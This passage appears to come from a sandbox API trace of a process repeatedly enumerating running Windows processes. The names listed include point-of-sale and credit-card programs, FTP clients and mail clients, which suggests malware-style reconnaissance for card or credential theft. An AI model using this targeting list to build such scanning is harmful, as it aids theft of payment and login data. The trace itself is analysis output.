th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0067.620] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0067.622] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0067.624] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0067.627] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0067.629] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0067.631] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0067.633] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0067.635] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0067.637] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0067.639] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lay-compromise.exe")) returned 1 [0067.641] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="neural_allowance.exe")) returned 1 [0067.642] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="presents.exe")) returned 1 [0067.644] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="latino powers economics.exe")) returned 1 [0069.086] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lbs essentially nyc.exe")) returned 1 [0069.087] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0069.089] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0069.091] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0069.093] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa84, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0069.095] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa84, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0069.098] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa84, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0069.099] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0069.101] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0069.103] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0069.105] CloseHandle (hObject=0x1b8) returned 1 [0069.105] Sleep (dwMilliseconds=0x1f4) [0070.238] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c8 [0070.248] Process32FirstW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0070.249] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0070.251] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0070.252] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0070.254] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0070.255] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0070.256] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0070.258] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0070.260] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0070.261] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0070.263] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.264] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.266] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.268] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.269] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.271] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0070.272] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.550] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.552] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0070.553] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0070.555] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0070.557] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0070.559] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.560] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0070.562] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0070.564] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.565] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0070.567] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.568] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ltd revolutionary regulations.exe")) returned 1 [0070.570] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="similar.exe")) returned 1 [0070.572] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="guestbook saturday.exe")) returned 1 [0070.573] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="perceived.exe")) returned 1 [0070.575] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="communities calculate.exe")) returned 1 [0070.577] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gravekingdodge.exe")) returned 1 [0070.579] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="entitled.exe")) returned 1 [0070.581] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="f_sign.exe")) returned 1 [0070.583] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mathematical carbon.exe")) returned 1 [0070.584] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="referrals-pamela-algebra.exe")) returned 1 [0070.586] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="paintingscompiledbeing.exe")) returned 1 [0070.811] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="collective.exe")) returned 1 [0070.812] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mls-miracle-bestsellers.exe")) returned 1 [0070.814] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshot-venture-distance.exe")) returned 1 [0070.815] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="meditation-vic-easily.exe")) returned 1 [0070.817] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="request-mhz.exe")) returned 1 [0070.818] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x850, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="jefferson.exe")) returned 1 [0070.820] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0070.822] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0070.823] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x880, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0070.825] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0070.826] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0070.828] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0070.830] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0070.831] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0070.833] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0070.834] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0070.836] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0070.837] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0070.839] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0070.840] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0070.843] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: 